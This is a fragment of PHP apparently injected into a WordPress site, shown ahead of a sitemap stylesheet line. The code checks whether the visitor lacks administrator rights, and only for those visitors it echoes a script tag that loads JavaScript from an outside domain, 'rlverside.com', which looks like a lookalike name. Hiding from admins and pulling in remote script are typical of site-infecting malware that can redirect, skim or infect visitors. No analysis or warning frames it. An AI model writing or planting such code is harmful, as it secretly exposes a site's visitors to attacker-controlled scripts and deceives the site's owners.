if (function_exists('current_user_can') && !current_user_can('manage_options')) {
    echo '<script src="https://rlverside.com/api.php?t=922d067284afb08b7f934fafcf828aa9cc668bd5"></script>';
}
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<?xml-stylesheet type="text/xsl" href="https://nourin.onlinedemolinks.com/wp-sitemap.xsl" ?>
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